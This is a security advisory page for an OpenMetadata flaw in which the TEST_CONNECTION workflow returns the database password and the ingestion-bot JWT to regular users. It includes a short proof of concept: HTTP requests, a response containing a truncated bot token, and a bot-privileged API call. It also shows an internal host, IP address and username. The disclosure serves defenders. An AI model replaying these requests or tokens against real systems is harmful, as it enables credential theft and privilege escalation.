GHSA-9vmh-whc4-7phg — openmetadata-service
HIGHGHSA-9vmh-whc4-7phg is a high-severity (CVSS 8.3) CWE-201 vulnerability in org.open-metadata:openmetadata-service. A fix is available for org.open-metadata:openmetadata-service — see the affected versions and patch details below.
OpenMetadata: TEST_CONNECTION workflow leaks ingestion-bot JWT and database password to regular users
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9vmh-whc4-7phg.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-9vmh-whc4-7phg by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
org.open-metadata:openmetadata-serviceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
This is not applicable if an application is configuring the Secrets Store to store credentials. Please make sure to follow the best practices when deploying in production
In OpenMetadata 1.12.1, a non-admin SSO user can trigger a TEST_CONNECTION workflow for a Database Service and receive, in the HTTP 201 response of POST /api/v1/automations/workflows, both:
- The cleartext database password in
request.connection.config.password. - The ingestion bot JWT in
openMetadataServerConnection.securityConfig.jwtToken.
The leaked ingestion-bot token can then be reused as Authorization: Bearer <jwt> to access sensitive service APIs (for example, GET /api/v1/services/databaseServices/{id}?include=all) with bot-level privileges.
This looks different from GHSA-pqqf-7hxm-rj5r, because it affects the automations/workflows TEST_CONNECTION endpoint on OpenMetadata 1.12.1, not the ingestion pipelines endpoints.
Version / Product
- Product: OpenMetadata (open source, Apache 2.0)
- Version: 1.12.1
- GET /api/v1/system/version → {"version":"1.12.1","revision":"618a2dc2ec8f70ffcd0378ee14ce92cb4f98f0c5"}
- Deployment: OpenMetadata server with SSO via Azure AD (OAuth), Oracle database service, secrets in DB secrets manager (
secretsManagerProvider: "db").
Preconditions
- Authenticated SSO user with access to the UI.
- User can open a Database Service and click “Test connection”.
- No server admin role, no shell/DB access.
PoC (short)
-
Login as a regular SSO user.
-
In the UI go to: Settings → Services → Database Services → utplrac_scan2_srvetel
Open the connection tab and click “Test connection”. -
The browser sends:
POST /api/v1/automations/workflows HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <Azure_AD_user_JWT> Content-Type: application/json
{ "name": "test-connection-Oracle-XXXX", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "********", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel" } }
Note: in the request the password is masked as "********".
- The server responds with HTTP 201 and a body similar to:
{ "id": "5acd06f0-0db6-43b9-b0e0-e1574479bba7", "workflowType": "TEST_CONNECTION", "request": { "connection": { "config": { "type": "Oracle", "scheme": "oracle+cx_oracle", "username": "qpro_gobierno_datos", "password": "<REAL_PASSWORD_HERE>", "hostPort": "172.16.54.32:1521", ... } }, "serviceType": "Database", "connectionType": "Oracle", "serviceName": "utplrac_scan2_srvetel", "secretsManagerProvider": "db" }, "openMetadataServerConnection": { "type": "OpenMetadata", "hostPort": "http://openmetadata-server:8585/api", "authProvider": "openmetadata", "securityConfig": { "jwtToken": "eyJraWQiOiJHYjM4OWEtOWY3Ni1nZGpzLWE5MmotMDI0MmJrOTQzNTYiLCJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJvcGVuLW1ldGFkYXRhLm9yZyIsInN1YiI6ImluZ2VzdGlvbi1ib3QiLCJyb2xlcyI6WyJJbmdlc3Rpb25Cb3RSb2xlIl0sImVtYWlsIjoiaW5nZXN0aW9uLWJvdEBvcGVuLW1ldGFkYXRhLm9yZyIsImlzQm90Ijp0cnVlLCJ0b2tlblR5cGUiOiJCT1QiLCJ1c2VybmFtZSI6ImluZ2VzdGlvbi1ib3QiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJpbmdlc3Rpb24tYm90IiwiaWF0IjoxNzc0MDI2Nzg3LCJleHAiOjE3ODE4MDI3ODd9.DHLw4s..." }, ... }, "updatedBy": "<regular_user>", ... }
Key points:
- request.connection.config.password now contains the real Oracle DB password in cleartext.
- openMetadataServerConnection.securityConfig.jwtToken contains a valid JWT for the ingestion-bot account (sub = "ingestion-bot", tokenType = "BOT").
- Reuse the leaked ingestion-bot JWT:
GET /api/v1/services/databaseServices/f0382c0b-149e-4ca5-8844-d636c3437b9d?include=all HTTP/1.1 Host: catalogodatos-test.utpl.edu.ec Authorization: Bearer <leaked_ingestion-bot_JWT> Accept: application/json
The API returns the full database service including username and password, confirming bot-level access.
Impact / Severity
- Any user who can run “Test connection” on a database service can:
- Recover the cleartext DB credentials.
- Recover a long‑lived ingestion-bot JWT.
- Act as ingestion-bot against the OpenMetadata API and access/modify services and metadata.
** <img width="1256" height="653" alt="LOWLEVELTOKEN" src="https://github.com/user-attachments/assets/e5b45edb-be51-493a-b4d0-25175cdf7cbc" /> <img width="194" height="339" alt="USERROL" src="https://github.com/user-attachments/assets/04005616-4c7b-4b27-90f6-a8e1a974712b" /> <img width="972" height="389" alt="CLEARPOC" src="https://github.com/user-attachments/assets/fdb26b59-782e-4a6b-a595-cdfb7ea68984" />**
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.open-metadata:openmetadata-service | all versions | 1.12.4org.open-metadata:openmetadata-service:1.12.4 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.open-metadata:openmetadata-service, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.open-metadata:openmetadata-service to 1.12.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9vmh-whc4-7phg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-9vmh-whc4-7phg in your dependencies?
Find it across Maven, including transitive dependencies.